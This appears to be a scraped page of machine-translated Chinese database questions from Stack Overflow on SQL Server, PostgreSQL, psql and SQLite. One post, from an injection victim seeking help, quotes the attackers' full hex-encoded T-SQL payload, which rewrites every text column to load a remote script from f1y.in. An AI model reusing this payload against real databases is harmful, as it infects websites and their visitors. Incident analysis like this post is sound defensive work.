有没有办法将 Microsoft SQL Server 数据库导出到 sql 脚本?
我正在寻找与 mysqldump 行为类似的东西,取一个数据库名称,并生成一个脚本,该脚本将重新创建所有表、存储过程、重新插入所有数据等。
我已经看过http://vyaskn.tripod.com/code.htm#inserts,但我理想情况下想要一些东西来重新创建所有内容(不仅仅是数据),这些内容可以在一个步骤中生成最终脚本。
是否有一个班轮,授予SELECT权限给新用户的PostgreSQL?
将实现以下伪代码的东西:
GRANT SELECT ON TABLE * TO my_new_user;
Run Code Online (Sandbox Code Playgroud) SHOW CREATE TABLEPostgres 中是否有相当于 MySQL 的版本?这可能吗?如果不是,下一个最佳解决方案是什么?
我需要该语句,因为我使用它在远程服务器上(通过 WCF)创建表。
我试图将给定数据库的所有表的所有权限授予新的 postgres 用户(不是所有者)。似乎GRANT ALL PRIVILEGES ON DATABASE my_db TO new_user;没有这样做。成功运行上述命令后(作为 postgres 用户),我以 new_user 的身份得到以下信息:
$ psql -d my_db
my_db => SELECT * FROM a_table_in_my_db;
ERROR: permission denied for relation a_table_in_my_db
Run Code Online (Sandbox Code Playgroud)
两个问题:
1) 如果没有授予 my_db 上所有表的所有权限,那么上面的命令会做什么?
2)将所有表的所有权限授予用户的正确方法是什么?(包括将来创建的所有表)
我正在编写一个 shell 脚本,它使用 2 种形式调用 psql……一种是通过命令(-c),另一种是通过文件(-f)。
例如 psql -c "创建表 foo (bar integer)"
psql -f foobar.sql
这些形式之间的一个区别是,如果遇到错误,通过命令 (-c) 的调用将返回非零退出代码,而通过文件 (-f) 的调用似乎总是返回零。
我想知道这种行为是否有解决方法?(即,如果在执行文件时发生错误,则返回非零值)。
谢谢。
人们一直告诉我,为了提高 SQL 服务器的性能,购买尽可能快的 RAID 5 硬盘等。
所以我在想,与其把所有的钱都花在 RAID 5 和超级快速的硬盘上(顺便说一句,这并不便宜),为什么不直接获得大量 RAM?我们知道 SQL 服务器将数据库加载到内存中。内存比任何硬盘都快。
为什么不在服务器上塞入 100 GB 的内存?那么就使用带有RAID 1 的普通SCSI 硬盘。那不是更便宜和更快吗?
由于各种原因,我有一些 sqlite version3 db3 文件,我从实时运行的生产系统(我知道坏 sysadmin 坏 sysadmin)复制。是否有一些我可以运行的 sqlite 命令来验证所有数据都可以从这些文件中读出(我不介意是否需要一段时间)。
我正在考虑修改一些 perl,它会转储所有数据,然后将其重新导入到新文件中。我认为如果遇到损坏的数据,sqlite 会抛出异常。有没有更好的办法?
我是 CentOS 5.3 和 sqlite-3.3.6-2
可能重复:
我的服务器被黑了 紧急情况
天哪,我绝望了!几个小时前,我们的生产数据库被 sql 注入。
我知道我们的系统有一些大漏洞……因为我们从一个用经典 ASP 做网站的人那里继承了这个网站,他的编程真的很糟糕而且不安全。所以我们花了一些时间将它迁移到 ASP.NET(首先是 1.1,然后是 2.0,现在是 3.5)。但这是一个大项目,仍然有旧的和不安全的代码。我不会撒谎,项目一团糟,我讨厌它,但它是我们最重要的客户(我们只是两个年轻人,不是大公司)。
所以我知道他们以某种方式向我的整个数据库注入了一些 js 脚本引用......这可能是通过一个旧页面使用连接字符串 sql 查询并直接扔到数据库中(因为启动项目的那个人说“存储过程没有't work"..... 所以他使用字符串连接完成了整个站点,并将它们直接扔给 sql 而不做任何安全验证或任何事情。
当我们拿到项目时,客户不想花时间重做老家伙所做的废话。所以我们不得不导致糟糕和不安全的代码并在开发新功能时修复它,因为这是客户想要的......现在我们已经被注入了 sql 他们当然会发疯。
所以....
**有没有办法检查过去 X 小时内执行过的旧 sql 查询?类似于 SQL Profiler 的工作方式(当然,当攻击发生时,我们没有打开 Profiler)?有没有办法找出哪个页面是易受攻击的页面?请帮助,有很多页面。我无法在不知道哪一页是页面的情况下手动搜索这些内容。
另外......他们是否可以通过另一种方式注入数据库?喜欢使用 IIS 请求或 js 之类的吗?**
我拥有对服务器计算机的完全远程桌面访问权限(它不在托管环境中),因此我可以访问服务器上的每个文件、日志和任何内容...
请帮忙!
PS:对不起,我的英语不是很好,现在更紧张了!
编辑
他们抛出的脚本如下
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
Run Code Online (Sandbox Code Playgroud)
翻译成文字是:
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' …Run Code Online (Sandbox Code Playgroud) 如何使用 SQL 更改用户的 postgresql 密码。我有用户(alex)和他的密码(例如 pass)我需要使用 sql 语句将他的密码更改为 NULL...
00000001 + 00000001 = 00000011 替代文字 http://locobox.googlepages.com/red_x_round.png
是时候坦白了!......“在某个时候”你认为你知道一些事情,结果它不正确,或者由于对这个主题的误解而不完全正确。
我将从一个非常明显的例子开始(得票最多的项目将排在最前面):
当操作系统找不到分配给网络接口的地址 ( read:rfc3927 )时,只有 169.254.0.0/16 保留给 APIPA 分配。
*****不要误认为“系统管理员犯的错误”
sql ×10
postgresql ×5
database ×2
permissions ×2
asp.net ×1
hacking ×1
hard-drive ×1
linux ×1
memory ×1
migration ×1
mysql ×1
networking ×1
password ×1
performance ×1
psql ×1
raid ×1
security ×1
sql-server ×1
sqlite ×1
wiki ×1